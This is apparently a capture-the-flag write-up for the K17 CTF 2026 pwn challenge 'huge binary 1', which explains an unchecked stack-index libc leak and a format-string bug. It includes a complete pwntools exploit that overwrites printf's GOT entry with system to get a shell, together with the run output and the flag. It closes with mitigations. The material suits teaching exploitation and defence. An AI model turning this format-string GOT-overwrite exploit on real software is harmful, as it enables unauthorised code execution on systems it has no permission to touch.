home / ctf / k17

huge binary 1

An unchecked stack index leaks libc and printf is called twice, so one GOT overwrite turns the second call into system("/bin/sh").

2026.09.19 K17 CTF 2026 Pwn
FLAG K17{it's_ab0v3_aver@ge_actua1ly}
nc chal.secso.cc 4002 · handout: chal, libc.so.6, Dockerfile

This challenge and huge binary 2 share the same skeleton — the same bug classes, applied to the same layout — but huge binary 2 removes every convenience this one leaves in place (PIE is on, the leak shrinks to one byte, buffers shrink). If you solve this one first, most of what you learn here about the structure of the bug carries over directly; what changes in part 2 is entirely about working with far less information per attempt.

1. Recon

Arch:   amd64-64-little
RELRO:  No RELRO             <- GOT is writable
Stack:  No canary found
PIE:    No PIE (0x400000)    <- fixed addresses
NX:     NX enabled

The shipped libc.so.6 (debian 13.4-slim) is byte-identical to the one inside the container, so its offsets can be used directly without version drift to account for.

2. Analysing main

The disassembly reduces to three stages:

scanf("%d", &idx);                              // idx @ rbp-12
printf("Your lucky number is 0x%llx\n",
       *(unsigned long long *)(rbp + 8*idx - 8));   // (A) arbitrary stack read

scanf("%127s", buf1);                           // buf1 @ rbp-144
scanf("%127s", buf2);                           // buf2 @ rbp-272

puts("Echoed output: ");
printf(buf1);                                   // (B) format string
printf(buf2);                                   // (C) format string

Two bugs:

  • (A) arbitrary stack read. idx is never validated. It’s sign-extended with cdqe, so both negative and positive values work, and rbp + 8*idx - 8 is dereferenced and printed verbatim. idx = 2 gives [rbp+8] — main’s saved return address, i.e. a libc leak on the first prompt.
  • (B)/(C) format string. User input is passed directly as printf’s first argument, giving an arbitrary write via %n. (%127s writes exactly as much as the buffer holds, so there is no accompanying stack overflow — the challenge relies on the format-string bug alone.)

3. Exploitation strategy

The key structural detail is that printf is called twice in this function. That allows setup and detonation to be split across the two calls within a single connection, rather than needing to overwrite and trigger in one shot:

  1. Use (A) to recover the libc base.
  2. Use (B) to overwrite printf@got with system — No RELRO leaves the GOT writable, and No PIE fixes its address at 0x403390.
  3. printf(buf2) in (C) is now system(buf2), so setting buf2 to "/bin/sh" completes the exploit.

No ROP chain and no separate stack leak are required.

3.1 Recovering the libc base

Inside the same Docker image, dumping /proc/<pid>/maps alongside the leak gives the constant offset directly:

libc base    = 0x7aeb41944000
leak(idx=2)  = 0x7aeb4196dca8
--------------------------------
RET_OFF      = 0x29ca8   (the return point inside __libc_start_call_main)

So libc_base = leak - 0x29ca8, with a page-alignment check (& 0xfff == 0) as a sanity check on the computed value.

3.2 Format-string argument indices

At the call, rsp = rbp-288, and stack varargs start at [rsp] as %6$:

buf2 @ rbp-272 = rbp-288 + 16   -> %8$    (confirmed: "BBBB" shows up as 0x42424242)
buf1 @ rbp-144 = rbp-288 + 144  -> %24$   (144/8 = 18, 6+18 = 24)

8-byte-aligned pointers placed inside buf1 are therefore referenced starting at %24$.

3.3 Building the payload

printf and system share the same libc image, so their upper address bytes match; overwriting the low four bytes with two %hn writes is sufficient.

buf1 = "%1$<v1>c%<k1>$hn%1$<v2-v1>c%<k2>$hn"   (padded with '.' to a multiple of 8)
       + p64(0x403390) + p64(0x403392)
buf2 = "/bin/sh"

Two constraints to keep in mind:

  • The address bytes contain NULs, so the pointers must sit after the format string. printf stops parsing at the first NUL, but by then every %hn has already executed.
  • scanf("%127s")-style conversions stop at whitespace, so the payload cannot contain spaces or newlines. Only width-padding (%1$NNNNc) and . filler are used for alignment; the total payload is 48 bytes, well within the 127-byte limit.

4. Exploit

from pwn import *
context.arch = 'amd64'

LIBC = ELF('./huge-binary-1/libc.so.6', checksec=False)
PRINTF_GOT = 0x403390
RET_OFF    = 0x29ca8
ARG0       = 24                      # printf argument index of buf1

def make_fmt(system_addr):
    lo = system_addr & 0xffff
    hi = (system_addr >> 16) & 0xffff
    for pad_words in range(2, 8):
        p  = pad_words * 8
        i1 = ARG0 + pad_words        # p64(PRINTF_GOT)
        i2 = i1 + 1                  # p64(PRINTF_GOT+2)
        (v1, k1), (v2, k2) = sorted([(lo, i1), (hi, i2)])

        fmt  = b'%%1$%dc' % v1 if v1 else b''
        fmt += b'%%%d$hn' % k1
        if v2 - v1:
            fmt += b'%%1$%dc' % (v2 - v1)
        fmt += b'%%%d$hn' % k2

        if len(fmt) <= p:
            return fmt.ljust(p, b'.') + p64(PRINTF_GOT) + p64(PRINTF_GOT + 2)
    raise RuntimeError('no fit')

io = remote('chal.secso.cc', 4002)

io.sendlineafter(b'Enter an index: ', b'2')
io.recvuntil(b'Your lucky number is ')
leak = int(io.recvline().strip(), 16)

libc_base = leak - RET_OFF
assert libc_base & 0xfff == 0
system = libc_base + LIBC.symbols['system']

io.sendlineafter(b'echoed: ', make_fmt(system))
io.sendlineafter(b'echoed: ', b'/bin/sh')
io.recvuntil(b'\x90\x33\x40')        # drain the %c padding output
io.interactive()

5. Result

[+] leak      = 0x7f04b1a0bca8
[+] libc base = 0x7f04b19e2000
[+] system    = 0x7f04b1a35110
$ id
uid=1000 gid=1000 groups=1000
$ cat /flag
K17{it's_ab0v3_aver@ge_actua1ly}

6. Takeaways / mitigation

  • No RELRO + No PIE + a format string is a one-shot GOT overwrite. Before designing a ROP chain, check whether the vulnerable function is called again later — that’s frequently the faster path.
  • Two symbols within the same libc image share their upper address bytes, so writing all six bytes is unnecessary; the low four (two %hn writes) suffice, which also keeps output volume and payload length down.
  • Mitigation: printf(user_input) should be printf("%s", user_input), combined with Full RELRO, PIE, and bounds-checked array indices.
#format-string#got-overwrite#ret2libc